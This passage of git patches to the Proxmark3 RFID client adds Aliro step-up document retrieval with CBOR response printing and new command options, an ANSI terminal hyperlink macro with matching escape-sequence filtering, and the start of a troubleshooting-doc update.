validity_fmt = aliro_print_fmt_child(fmt, 2); + (void)aliro_cbor_walk_map(value, aliro_step_up_print_mso_validity_entry, &validity_fmt); + return PM3_SUCCESS; + } + if (aliro_cbor_key_equals(key, 4, "4") && cbor_value_is_map(value)) { + aliro_print_heading_fmt(fmt, "device key:"); + aliro_print_format_t device_key_fmt = aliro_print_fmt_child(fmt, 2); + aliro_step_up_print_mso_device_key_info(value, &device_key_fmt); + return PM3_SUCCESS; + } + return aliro_cbor_dispatch_print_fmt(fmt, key, value, dispatch, ARRAYLEN(dispatch)); +} + +static void aliro_step_up_print_issuer_auth_protected_headers(const CborValue *protected_headers, const aliro_print_format_t *fmt) { + if (protected_headers == NULL || fmt == NULL || cbor_value_is_byte_string(protected_headers) == false) { + return; + } + + uint8_t *protected_buf = NULL; + size_t protected_len = 0; + if (!aliro_cbor_dup_bytes(protected_headers, &protected_buf, &protected_len)) { + return; + } + + CborParser protected_parser; + CborValue protected_map; + if (cbor_parser_init(protected_buf, protected_len, 0, &protected_parser, &protected_map) == CborNoError && + cbor_value_is_map(&protected_map)) { + (void)aliro_cbor_walk_map(&protected_map, aliro_step_up_print_issuer_auth_protected_entry, (void *)fmt); + } + free(protected_buf); +} + +static void aliro_step_up_print_issuer_auth_unprotected_headers(const CborValue *unprotected_headers, const aliro_print_format_t *fmt) { + if (unprotected_headers == NULL || fmt == NULL || cbor_value_is_map(unprotected_headers) == false) { + return; + } + (void)aliro_cbor_walk_map(unprotected_headers, aliro_step_up_print_issuer_auth_unprotected_entry, (void *)fmt); +} + +static void aliro_step_up_print_issuer_auth_payload(const CborValue *payload, const aliro_print_format_t *fmt) { + if (payload == NULL || fmt == NULL || cbor_value_is_byte_string(payload) == false) { + return; + } + + uint8_t *payload_buf = NULL; + size_t payload_len = 0; + if (!aliro_cbor_dup_bytes(payload, &payload_buf, &payload_len)) { + return; + } + + CborParser payload_parser; + CborValue payload_value; + if (cbor_parser_init(payload_buf, payload_len, 0, &payload_parser, &payload_value) == CborNoError) { + aliro_cbor_decoded_value_t mso_decoded; + if (aliro_cbor_decode_value_as_type(&payload_value, CborMapType, &mso_decoded) == PM3_SUCCESS) { + aliro_print_format_t mso_header_fmt = aliro_print_fmt_child(fmt, 2); + aliro_print_heading_fmt(&mso_header_fmt, "mso:"); + aliro_print_format_t mso_fmt = aliro_print_fmt_child(fmt, 4); + (void)aliro_cbor_walk_map(&mso_decoded.value, aliro_step_up_print_mso_entry, &mso_fmt); + } + aliro_cbor_decoded_value_free(&mso_decoded); + } + + free(payload_buf); +} + +static void aliro_step_up_print_issuer_auth(const CborValue *issuer_auth_value, const aliro_print_format_t *fmt) { + if (issuer_auth_value == NULL || fmt == NULL) { + return; + } + + aliro_print_heading_fmt(fmt, "issuerAuth:"); + + aliro_cbor_decoded_value_t issuer_auth_decoded; + if (aliro_cbor_decode_value_as_type(issuer_auth_value, CborArrayType, &issuer_auth_decoded) != PM3_SUCCESS) { + aliro_cbor_decoded_value_free(&issuer_auth_decoded); + return; + } + CborValue issuer_auth = issuer_auth_decoded.value; + + CborValue array_it; + if (cbor_value_enter_container(&issuer_auth, &array_it) != CborNoError) { + aliro_cbor_decoded_value_free(&issuer_auth_decoded); + return; + } + + CborValue protected_headers = {0}; + CborValue unprotected_headers = {0}; + CborValue payload = {0}; + CborValue signature = {0}; + bool have_protected_headers = false; + bool have_unprotected_headers = false; + bool have_payload = false; + bool have_signature = false; + + size_t idx = 0; + while (!cbor_value_at_end(&array_it)) { + if (idx == 0) { + protected_headers = array_it; + have_protected_headers = true; + } else if (idx == 1) { + unprotected_headers = array_it; + have_unprotected_headers = true; + } else if (idx == 2) { + payload = array_it; + have_payload = true; + } else if (idx == 3) { + signature = array_it; + have_signature = true; + } + idx++; + if (cbor_value_advance(&array_it) != CborNoError) { + break; + } + } + + if (have_signature && cbor_value_is_byte_string(&signature)) { + uint8_t *sig = NULL; + size_t sig_len = 0; + if (aliro_cbor_dup_bytes(&signature, &sig, &sig_len)) { + aliro_print_format_t signature_fmt = aliro_print_fmt_child(fmt, 2); + char label[96] = {0}; + aliro_print_make_label(&signature_fmt, "signature", label, sizeof(label)); + PrintAndLogEx(INFO, "%s %s", label, sprint_hex_inrow(sig, sig_len)); + free(sig); + } + } + + if (have_protected_headers || have_unprotected_headers) { + aliro_print_format_t headers_heading_fmt = aliro_print_fmt_child(fmt, 2); + aliro_print_heading_fmt(&headers_heading_fmt, "headers:"); + } + aliro_print_format_t headers_fmt = aliro_print_fmt_child(fmt, 4); + if (have_protected_headers) { + aliro_step_up_print_issuer_auth_protected_headers(&protected_headers, &headers_fmt); + } + + if (have_unprotected_headers) { + aliro_step_up_print_issuer_auth_unprotected_headers(&unprotected_headers, &headers_fmt); + } + + if (have_payload) { + aliro_step_up_print_issuer_auth_payload(&payload, fmt); + } + + aliro_cbor_decoded_value_free(&issuer_auth_decoded); +} + +static int aliro_step_up_print_issuer_signed_item_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + + static const aliro_cbor_fmt_dispatch_t dispatch[] = { + {1, "1", "digest_id", ALIRO_CBOR_PRINT_SCALAR}, + {2, "2", "random", ALIRO_CBOR_PRINT_SCALAR}, + {3, "3", "element_identifier", ALIRO_CBOR_PRINT_SCALAR}, + }; + + if (aliro_cbor_key_equals(key, 4, "4")) { + if (!aliro_cbor_print_scalar_fmt(fmt, "element_value", value)) { + aliro_cbor_decoded_value_t value_decoded; + if (aliro_cbor_decode_value_as_type(value, CborMapType, &value_decoded) == PM3_SUCCESS) { + char label[96] = {0}; + aliro_print_make_label(fmt, "element_value", label, sizeof(label)); + PrintAndLogEx(INFO, "%s ", label); + aliro_print_format_t access_data_fmt = aliro_print_fmt_child(fmt, 2); + aliro_step_up_print_access_data_map(&value_decoded.value, &access_data_fmt); + } else { + aliro_cbor_print_type_fmt(fmt, "element_value", value); + } + aliro_cbor_decoded_value_free(&value_decoded); + } + return PM3_SUCCESS; + } + + return aliro_cbor_dispatch_print_fmt(fmt, key, value, dispatch, ARRAYLEN(dispatch)); +} + +static void aliro_step_up_print_issuer_signed_item(const CborValue *raw_item, size_t item_idx, const aliro_print_format_t *fmt) { + if (raw_item == NULL || fmt == NULL) { + return; + } + + size_t indent = fmt->indent; + aliro_cbor_decoded_value_t item_decoded; + if (aliro_cbor_decode_value_as_type(raw_item, CborMapType, &item_decoded) != PM3_SUCCESS) { + if (item_decoded.state == ALIRO_CBOR_DECODE_NOT_TAG24) { + PrintAndLogEx(INFO, "%*sIssuerSignedItem[%zu]... <%s>", + (int)indent, "", item_idx, aliro_cbor_type_name(cbor_value_get_type(raw_item))); + } else { + PrintAndLogEx(INFO, "%*sIssuerSignedItem[%zu]... ", (int)indent, "", item_idx); + } + aliro_cbor_decoded_value_free(&item_decoded); + return; + } + CborValue item = item_decoded.value; + + PrintAndLogEx(INFO, "%*sIssuerSignedItem[%zu]", (int)indent, "", item_idx); + + if (cbor_value_is_map(&item)) { + aliro_print_format_t item_entry_fmt = aliro_print_fmt_child(fmt, 2); + (void)aliro_cbor_walk_map(&item, aliro_step_up_print_issuer_signed_item_entry, &item_entry_fmt); + } + + aliro_cbor_decoded_value_free(&item_decoded); +} + +typedef struct { + size_t namespace_idx; + aliro_print_format_t fmt; +} aliro_step_up_namespaces_ctx_t; + +static int aliro_step_up_print_namespace_entry(const CborValue *key, const CborValue *value, void *ctx_ptr) { + aliro_step_up_namespaces_ctx_t *ctx = (aliro_step_up_namespaces_ctx_t *)ctx_ptr; + if (ctx == NULL || key == NULL || value == NULL) { + return PM3_EINVARG; + } + + char namespace_key[32] = {0}; + snprintf(namespace_key, sizeof(namespace_key), "NameSpace[%zu]", ctx->namespace_idx); + char namespace_label[96] = {0}; + aliro_print_make_label(&ctx->fmt, namespace_key, namespace_label, sizeof(namespace_label)); + + char *namespace_name = NULL; + size_t namespace_name_len = 0; + if (aliro_cbor_dup_text(key, &namespace_name, &namespace_name_len)) { + PrintAndLogEx(INFO, "%s %s", namespace_label, namespace_name); + free(namespace_name); + } else { + PrintAndLogEx(INFO, "%s <%s>", namespace_label, aliro_cbor_type_name(cbor_value_get_type(key))); + } + + if (cbor_value_is_array(value)) { + CborValue items_it; + if (cbor_value_enter_container(value, &items_it) == CborNoError) { + size_t item_idx = 0; + aliro_print_format_t item_fmt = aliro_print_fmt_child(&ctx->fmt, 2); + while (!cbor_value_at_end(&items_it)) { + CborValue item_it = items_it; + if (cbor_value_skip_tag(&item_it) != CborNoError) { + break; + } + + aliro_step_up_print_issuer_signed_item(&item_it, item_idx, &item_fmt); + item_idx++; + + if (cbor_value_advance(&item_it) != CborNoError) { + break; + } + items_it = item_it; } } } + + ctx->namespace_idx++; + return PM3_SUCCESS; +} + +static int aliro_step_up_print_issuer_signed_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + + if (aliro_cbor_key_equals(key, 1, "1") && cbor_value_is_map(value)) { + aliro_step_up_namespaces_ctx_t namespaces_ctx = { + .namespace_idx = 0, + .fmt = aliro_print_fmt_child(fmt, 2), + }; + (void)aliro_cbor_walk_map(value, aliro_step_up_print_namespace_entry, &namespaces_ctx); + } else if (aliro_cbor_key_equals(key, 2, "2")) { + aliro_step_up_print_issuer_auth(value, fmt); + } + return PM3_SUCCESS; +} + +static int aliro_step_up_print_document_entry(const CborValue *key, const CborValue *value, void *ctx) { + const aliro_print_format_t *fmt = (const aliro_print_format_t *)ctx; + if (fmt == NULL) { + return PM3_EINVARG; + } + + if (aliro_cbor_key_equals(key, 5, "5")) { + aliro_print_format_t doc_type_fmt = aliro_print_fmt_child(fmt, 2); + (void)aliro_cbor_print_scalar_fmt(&doc_type_fmt, "docType", value); + return PM3_SUCCESS; + } + if (aliro_cbor_key_equals(key, 1, "1") && cbor_value_is_map(value)) { + aliro_print_format_t issuer_signed_fmt = aliro_print_fmt_child(fmt, 2); + aliro_print_heading_fmt(&issuer_signed_fmt, "issuerSigned:"); + (void)aliro_cbor_walk_map(value, aliro_step_up_print_issuer_signed_entry, &issuer_signed_fmt); + } + return PM3_SUCCESS; +} + +static void aliro_step_up_print_document(const CborValue *document, size_t doc_idx, const aliro_print_format_t *fmt) { + if (document == NULL || fmt == NULL || cbor_value_is_map(document) == false) { + return; + } + + PrintAndLogEx(INFO, "%*sDocument[%zu]", (int)fmt->indent, "", doc_idx); + (void)aliro_cbor_walk_map(document, aliro_step_up_print_document_entry, (void *)fmt); +} + +typedef struct { + size_t doc_idx; + bool documents_field_seen; + aliro_print_format_t fmt; +} aliro_step_up_device_response_ctx_t; + +static int aliro_step_up_print_device_response_entry(const CborValue *key, const CborValue *value, void *ctx_ptr) { + aliro_step_up_device_response_ctx_t *ctx = (aliro_step_up_device_response_ctx_t *)ctx_ptr; + if (ctx == NULL || key == NULL || value == NULL) { + return PM3_EINVARG; + } + + static const aliro_cbor_fmt_dispatch_t dispatch[] = { + {1, "1", "version", ALIRO_CBOR_PRINT_SCALAR_OR_TYPE}, + {3, "3", "status", ALIRO_CBOR_PRINT_SCALAR_OR_TYPE}, + }; + + if (aliro_cbor_key_equals(key, 2, "2") && cbor_value_is_array(value)) { + ctx->documents_field_seen = true; + aliro_print_heading_fmt(&ctx->fmt, "documents:"); + CborValue docs_it; + if (cbor_value_enter_container(value, &docs_it) == CborNoError) { + aliro_print_format_t document_fmt = aliro_print_fmt_child(&ctx->fmt, 2); + while (!cbor_value_at_end(&docs_it)) { + aliro_step_up_print_document(&docs_it, ctx->doc_idx, &document_fmt); + ctx->doc_idx++; + if (cbor_value_advance(&docs_it) != CborNoError) { + break; + } + } + } + return PM3_SUCCESS; + } + + return aliro_cbor_dispatch_print_fmt(&ctx->fmt, key, value, dispatch, ARRAYLEN(dispatch)); +} + +static int aliro_step_up_print_device_response(const uint8_t *device_response, size_t device_response_len) { + if (device_response == NULL) { + return PM3_EINVARG; + } + + CborParser parser; + CborValue root; + CborError err = cbor_parser_init(device_response, device_response_len, 0, &parser, &root); + if (err != CborNoError) { + PrintAndLogEx(ERR, "Failed to parse DeviceResponse CBOR (%s)", cbor_error_string(err)); + return PM3_ESOFT; + } + if (!cbor_value_is_map(&root)) { + PrintAndLogEx(ERR, "DeviceResponse is not a CBOR map"); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "DeviceResponse:"); + aliro_step_up_device_response_ctx_t ctx = { + .doc_idx = 0, + .documents_field_seen = false, + .fmt = {.indent = 2}, + }; + int walk_res = aliro_cbor_walk_map(&root, aliro_step_up_print_device_response_entry, &ctx); + if (walk_res != PM3_SUCCESS) { + return walk_res; + } + + if (ctx.documents_field_seen && ctx.doc_idx == 0) { + aliro_print_format_t no_documents_fmt = aliro_print_fmt_child(&ctx.fmt, 2); + aliro_print_heading_fmt(&no_documents_fmt, "(no documents)"); + } + return PM3_SUCCESS; +} + +static int aliro_read_do_step_up(const aliro_read_state_t *state, + const aliro_step_up_scopes_t *step_up_scopes) { + if (state == NULL || step_up_scopes == NULL) { + return PM3_EINVARG; + } + if (!state->standard_result.keys.step_up_keys_present) { + PrintAndLogEx(ERR, "Step-up keys are not available"); + return PM3_ESOFT; + } + + const char *document_types[2] = {0}; + size_t document_type_count = 0; + if (state->auth1_parsed.signaling_bitmap & ALIRO_SIGNALING_ACCESS_DOCUMENT_RETRIEVABLE) { + document_types[document_type_count++] = ALIRO_ACCESS_DOCUMENT_TYPE; + } + if (state->auth1_parsed.signaling_bitmap & ALIRO_SIGNALING_REVOCATION_DOCUMENT_RETRIEVABLE) { + document_types[document_type_count++] = ALIRO_REVOCATION_DOCUMENT_TYPE; + } + + aliro_print_big_header("Step-up"); + if (document_type_count == 0) { + PrintAndLogEx(WARNING, "Signaling bitmap does not indicate retrievable step-up documents"); + return PM3_SUCCESS; + } + + if (state->auth1_parsed.signaling_bitmap & ALIRO_SIGNALING_ACCESS_DOCUMENT_RETRIEVABLE) { + PrintAndLogEx(INFO, "Signaling bit0............ set -> requesting `%s`", ALIRO_ACCESS_DOCUMENT_TYPE); + } + if (state->auth1_parsed.signaling_bitmap & ALIRO_SIGNALING_REVOCATION_DOCUMENT_RETRIEVABLE) { + PrintAndLogEx(INFO, "Signaling bit1............ set -> requesting `%s`", ALIRO_REVOCATION_DOCUMENT_TYPE); + } + + if (document_type_count == 2) { + PrintAndLogEx(INFO, "Requested doc types....... %s, %s", document_types[0], document_types[1]); + } else { + PrintAndLogEx(INFO, "Requested doc type........ %s", document_types[0]); + } + aliro_print_step_up_scopes(step_up_scopes); + + if (state->auth1_parsed.signaling_bitmap & ALIRO_SIGNALING_STEP_UP_SELECT_REQUIRED_FOR_DOC_RETRIEVAL) { + uint8_t stepup_select_response[ALIRO_MAX_BUFFER] = {0}; + size_t stepup_select_response_len = 0; + uint16_t stepup_select_sw = 0; + int sel_res = aliro_exchange_chained(false, true, + 0x00, ISO7816_SELECT_FILE, 0x04, 0x00, + ALIRO_STEP_UP_AID, sizeof(ALIRO_STEP_UP_AID), + stepup_select_response, sizeof(stepup_select_response), + &stepup_select_response_len, &stepup_select_sw); + if (sel_res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Step-up SELECT APDU exchange failed"); + return sel_res; + } + if (stepup_select_sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Step-up SELECT failed: %04x - %s", + stepup_select_sw, GetAPDUCodeDescription(stepup_select_sw >> 8, stepup_select_sw & 0xff)); + return PM3_ESOFT; + } + PrintAndLogEx(INFO, "Step-up SELECT............ ok"); + } + + uint8_t device_request[ALIRO_MAX_BUFFER] = {0}; + size_t device_request_len = 0; + int res = aliro_step_up_build_device_request(document_types, document_type_count, + step_up_scopes, + device_request, sizeof(device_request), &device_request_len); + if (res != PM3_SUCCESS) { + return res; + } + PrintAndLogEx(INFO, "DeviceRequest CBOR........ %s", sprint_hex_inrow(device_request, device_request_len)); + + uint32_t step_up_reader_counter = 1; + uint32_t step_up_device_counter = 1; + uint8_t encrypted_device_request[ALIRO_MAX_BUFFER] = {0}; + size_t encrypted_device_request_len = 0; + res = aliro_secure_channel_encrypt_reader_payload(state->standard_result.keys.step_up_sk_reader, + &step_up_reader_counter, + device_request, device_request_len, + encrypted_device_request, sizeof(encrypted_device_request), + &encrypted_device_request_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encrypt step-up DeviceRequest"); + return res; + } + + uint8_t session_data[ALIRO_MAX_BUFFER] = {0}; + size_t session_data_len = 0; + res = aliro_step_up_wrap_session_data(encrypted_device_request, encrypted_device_request_len, + session_data, sizeof(session_data), &session_data_len); + if (res != PM3_SUCCESS) { + return res; + } + + uint8_t envelope_data[ALIRO_MAX_BUFFER] = {0}; + size_t envelope_data_len = 0; + res = aliro_append_tlv(0x53, session_data, session_data_len, + envelope_data, sizeof(envelope_data), &envelope_data_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode ENVELOPE command"); + return res; + } + + uint8_t envelope_response[ALIRO_MAX_BUFFER] = {0}; + size_t envelope_response_len = 0; + uint16_t envelope_sw = 0; + res = aliro_exchange_chained(false, true, 0x00, 0xC3, 0x00, 0x00, + envelope_data, envelope_data_len, + envelope_response, sizeof(envelope_response), + &envelope_response_len, &envelope_sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "ENVELOPE APDU exchange failed"); + return res; + } + if (envelope_sw != ISO7816_OK) { + PrintAndLogEx(ERR, "ENVELOPE failed: %04x - %s", + envelope_sw, GetAPDUCodeDescription(envelope_sw >> 8, envelope_sw & 0xff)); + return PM3_ESOFT; + } + + const uint8_t *envelope_message = NULL; + size_t envelope_message_len = 0; + res = aliro_step_up_extract_envelope_message(envelope_response, envelope_response_len, + &envelope_message, &envelope_message_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "ENVELOPE response does not contain tag 0x53"); + return res; + } + + uint8_t encrypted_device_response[ALIRO_MAX_BUFFER] = {0}; + size_t encrypted_device_response_len = 0; + res = aliro_step_up_extract_session_data_ciphertext(envelope_message, envelope_message_len, + encrypted_device_response, sizeof(encrypted_device_response), + &encrypted_device_response_len); + if (res != PM3_SUCCESS) { + if (envelope_message_len > sizeof(encrypted_device_response)) { + return PM3_EOVFLOW; + } + memcpy(encrypted_device_response, envelope_message, envelope_message_len); + encrypted_device_response_len = envelope_message_len; + } + + uint8_t device_response_plaintext[ALIRO_MAX_BUFFER] = {0}; + size_t device_response_plaintext_len = 0; + res = aliro_secure_channel_decrypt_device_payload(state->standard_result.keys.step_up_sk_device, + &step_up_device_counter, + encrypted_device_response, encrypted_device_response_len, + device_response_plaintext, sizeof(device_response_plaintext), + &device_response_plaintext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to decrypt ENVELOPE DeviceResponse"); + return res; + } + + PrintAndLogEx(INFO, "DeviceResponse CBOR....... %s", + sprint_hex_inrow(device_response_plaintext, device_response_plaintext_len)); + return aliro_step_up_print_device_response(device_response_plaintext, device_response_plaintext_len); } static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_len, @@ -1890,7 +3480,8 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l const uint8_t reader_private_key_raw[32], const uint8_t *transaction_identifier_in, size_t transaction_identifier_len, const uint8_t *endpoint_public_key_x_in, - aliro_flow_t flow) { + aliro_flow_t flow, + const aliro_step_up_scopes_t *step_up_scopes) { int status = PM3_ESOFT; aliro_rng_t rng; int res = aliro_rng_init(&rng); @@ -1905,6 +3496,8 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l aliro_read_state_t state; memset(&state, 0, sizeof(state)); + char fast_suggestion_cmd[768] = {0}; + bool have_fast_suggestion_cmd = false; do { res = aliro_read_prepare_session(&state, @@ -1944,10 +3537,21 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l break; } - aliro_read_print_auth1_report(&state, - reader_group_identifier, - reader_group_sub_identifier, - reader_private_key_raw); + aliro_read_print_auth1_report(&state); + have_fast_suggestion_cmd = aliro_read_build_fast_suggestion_command(&state, + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key_raw, + fast_suggestion_cmd, + sizeof(fast_suggestion_cmd)); + + if (flow == ALIRO_FLOW_STEP_UP) { + res = aliro_read_do_step_up(&state, step_up_scopes); + if (res != PM3_SUCCESS) { + break; + } + } + status = PM3_SUCCESS; } while (0); @@ -1955,6 +3559,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l mbedtls_ecp_keypair_free(&reader_ephemeral_key); mbedtls_ecp_keypair_free(&reader_private_key); aliro_rng_free(&rng); + + if (status == PM3_SUCCESS && have_fast_suggestion_cmd) { + aliro_read_print_fast_suggestion_note(fast_suggestion_cmd); + } + return status; } @@ -1985,10 +3594,10 @@ static int CmdHFAliroInfo(const char *Cmd) { static int CmdHFAliroRead(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf aliro read", - "Execute ALIRO expedited flow (SELECT-AUTH0-AUTH1).", + "Execute ALIRO expedited flow and optional step-up document retrieval.", "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF\n" "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a\n" - "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --ti 00112233445566778899AABBCCDDEEFF"); + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions"); void *argtable[] = { arg_param_begin, @@ -1998,7 +3607,8 @@ static int CmdHFAliroRead(const char *Cmd) { arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key (32 bytes, P-256)"), arg_str0("t", "transaction-id,ti", "", "Transaction identifier (16 bytes, optional; random if omitted)"), arg_str0("e", "endpoint-public-key,endpointpublickey,epk", "", "Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)"), - arg_str0("f", "flow", "", "AUTH0 flow request (default: standard)"), + arg_str0("f", "flow", "", "Transaction flow (default: step-up)"), + arg_str0(NULL, "step-up-scopes", "", "Comma-separated step-up scopes (default: matter1)"), arg_lit0("a", "apdu", "Show APDU requests and responses"), arg_param_end }; @@ -2028,10 +3638,11 @@ static int CmdHFAliroRead(const char *Cmd) { int endpoint_public_key_input_len = 0; CLIGetHexWithReturn(ctx, 6, endpoint_public_key_input, &endpoint_public_key_input_len); - aliro_flow_t flow = ALIRO_FLOW_STANDARD; + aliro_flow_t flow = ALIRO_FLOW_STEP_UP; CLIParserOption flow_options[] = { {ALIRO_FLOW_FAST, "fast"}, {ALIRO_FLOW_STANDARD, "standard"}, + {ALIRO_FLOW_STEP_UP, "step-up"}, {0, NULL} }; if (CLIGetOptionList(arg_get_str(ctx, 7), flow_options, (int *)&flow) != PM3_SUCCESS) { @@ -2039,7 +3650,14 @@ static int CmdHFAliroRead(const char *Cmd) { return PM3_ESOFT; } - bool apdu_logging = arg_get_lit(ctx, 8); + aliro_step_up_scopes_t step_up_scopes; + int scope_res = aliro_parse_step_up_scopes(arg_get_str(ctx, 8), &step_up_scopes); + if (scope_res != PM3_SUCCESS) { + CLIParserFree(ctx); + return scope_res; + } + + bool apdu_logging = arg_get_lit(ctx, 9); CLIParserFree(ctx); if (reader_group_identifier_len != 16) { @@ -2095,7 +3713,8 @@ static int CmdHFAliroRead(const char *Cmd) { reader_private_key, transaction_identifier, (size_t)transaction_identifier_len, endpoint_public_key_x_ptr, - flow); + flow, + &step_up_scopes); SetAPDULogging(restore_apdu_logging); return res; } @@ -2110,7 +3729,7 @@ static command_t CommandTable[] = { {"list", CmdHFAliroList, AlwaysAvailable, "List ISO 14443A/7816 history"}, {"-----------", CmdHelp, IfPm3Iso14443a, "--------------------- " _CYAN_("Operations") " ----------------------"}, {"info", CmdHFAliroInfo, IfPm3Iso14443a, "Get Aliro applet information"}, - {"read", CmdHFAliroRead, IfPm3Iso14443a, "Run SELECT-AUTH0-AUTH1 and print parsed data"}, + {"read", CmdHFAliroRead, IfPm3Iso14443a, "Run SELECT-AUTH0-AUTH1 and optional step-up document retrieval"}, {NULL, NULL, NULL, NULL} }; From e2b11e937f0e2167cbf40236c7d58f2269eed66c Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 2 Mar 2026 12:50:34 +0100 Subject: [PATCH 047/162] =?UTF-8?q?=E2=9C=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- client/src/cmdhw.c | 2 +- client/src/ui.c | 62 ++++++++++++++++++++++++---------------------- include/ansi.h | 2 ++ 3 files changed, 35 insertions(+), 31 deletions(-) diff --git a/client/src/cmdhw.c b/client/src/cmdhw.c index 19490bbc9..553f63fb8 100644 --- a/client/src/cmdhw.c +++ b/client/src/cmdhw.c @@ -1759,7 +1759,7 @@ int CmdHW(const char *Cmd) { void pm3_version_short(void) { // PrintAndLogEx(NORMAL, " [ " _CYAN_("Proxmark3 RFID instrument") " ]"); - PrintAndLogEx(NORMAL, " [ " _CYAN_("Proxmark3") " ]"); + PrintAndLogEx(NORMAL, " [ " _CYAN_(_URL_("https://github.com/RfidResearchGroup/proxmark3", "Proxmark3")) " ]"); PrintAndLogEx(NORMAL, ""); if (g_session.pm3_present) { diff --git a/client/src/ui.c b/client/src/ui.c index 1901ac9ef..c08f6808e 100644 --- a/client/src/ui.c +++ b/client/src/ui.c @@ -527,40 +527,42 @@ void memcpy_filter_rlmarkers(void *dest, const void *src, size_t n) { } void memcpy_filter_ansi(void *dest, const void *src, size_t n, bool filter) { - if (filter) { - // Filter out ANSI sequences on these OS - uint8_t *rdest = (uint8_t *)dest; - uint8_t *rsrc = (uint8_t *)src; - uint16_t si = 0; - for (size_t i = 0; i < n; i++) { - if ((i < n - 1) - && (rsrc[i] == '\x1b') - && (rsrc[i + 1] >= 0x40) - && (rsrc[i + 1] <= 0x5F)) { // entering ANSI sequence - - i++; - if ((i < n - 1) && (rsrc[i] == '[')) { // entering CSI sequence - i++; - - while ((i < n - 1) && (rsrc[i] >= 0x30) && (rsrc[i] <= 0x3F)) { // parameter bytes - i++; - } - - while ((i < n - 1) && (rsrc[i] >= 0x20) && (rsrc[i] <= 0x2F)) { // intermediate bytes - i++; - } - - if ((rsrc[i] >= 0x40) && (rsrc[i] <= 0x7F)) { // final byte - continue; - } - } else { + if (!filter) { + memcpy(dest, src, n); + return; + } + uint8_t *rdest = (uint8_t *)dest; + const uint8_t *rsrc = (const uint8_t *)src; + size_t si = 0; + for (size_t i = 0; i < n; i++) { + if (rsrc[i] == '\x1b' && i < n - 1) { + /* ----- CSI sequence ----- */ + if (rsrc[i + 1] == '[') { + i += 2; + while (i < n && rsrc[i] >= 0x30 && rsrc[i] <= 0x3F) i++; + while (i < n && rsrc[i] >= 0x20 && rsrc[i] <= 0x2F) i++; + if (i < n && rsrc[i] >= 0x40 && rsrc[i] <= 0x7F) { continue; } } - rdest[si++] = rsrc[i]; + + /* ----- OSC sequence (used for hyperlinks) ----- */ + else if (rsrc[i + 1] == ']') { + i += 2; + /* OSC terminates with BEL or ESC \ */ + while (i < n) { + if (rsrc[i] == '\x07') // BEL + break; + if (rsrc[i] == '\x1b' && i + 1 < n && rsrc[i + 1] == '\\') { + i++; // consume '\' + break; + } + i++; + } + continue; + } } - } else { - memcpy(dest, src, n); + rdest[si++] = rsrc[i]; } } diff --git a/include/ansi.h b/include/ansi.h index b791741f5..af28520fe 100644 --- a/include/ansi.h +++ b/include/ansi.h @@ -79,4 +79,6 @@ #define _RL_BOLD_RED_(s) RL_ESC("\x1b[1;31m") s RL_ESC(AEND) #define _RL_BOLD_GREEN_(s) RL_ESC("\x1b[1;32m") s RL_ESC(AEND) +#define _URL_(url, text) "\x1b]8;;" url "\x1b\\" text "\x1b]8;;\x1b\\" + #endif From a5cfd3512059aeab26b6609d59c402aa30b7de7d Mon Sep 17 00:00:00 2001 From: Iceman Date: Tue, 3 Mar 2026 12:23:20 +0100 Subject: [PATCH 048/162] Update Troubleshooting.md Signed-off-by: Iceman --- .../Troubleshooting.md | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/doc/md/Installation_Instructions/Troubleshooting.md b/doc/md/Installation_Instructions/Troubleshooting.md index 043ac8bef..b008f1914 100644 --- a/doc/md/Installation_Instructions/Troubleshooting.md +++ b/doc/md/Installation_Instructions/Troubleshooting.md @@ -30,6 +30,7 @@ Always use the latest repository commits from *master* branch. There are always - [found architecture 'x86\_64' required architecture 'arm64' error](#found-architecture-x86_64-required-architecture-arm64-error) - [wrong permissions on runtime directory /run/user/1000](#wrong-permissions-on-runtime-directory-runuser1000) - [proxspace 'file not found or locked' on Windows 11](#proxspace-file-not-found-or-locked-on-windows-11) + - [qt.qpa.plugin: Could not find the Qt platform plugin 'wayland' 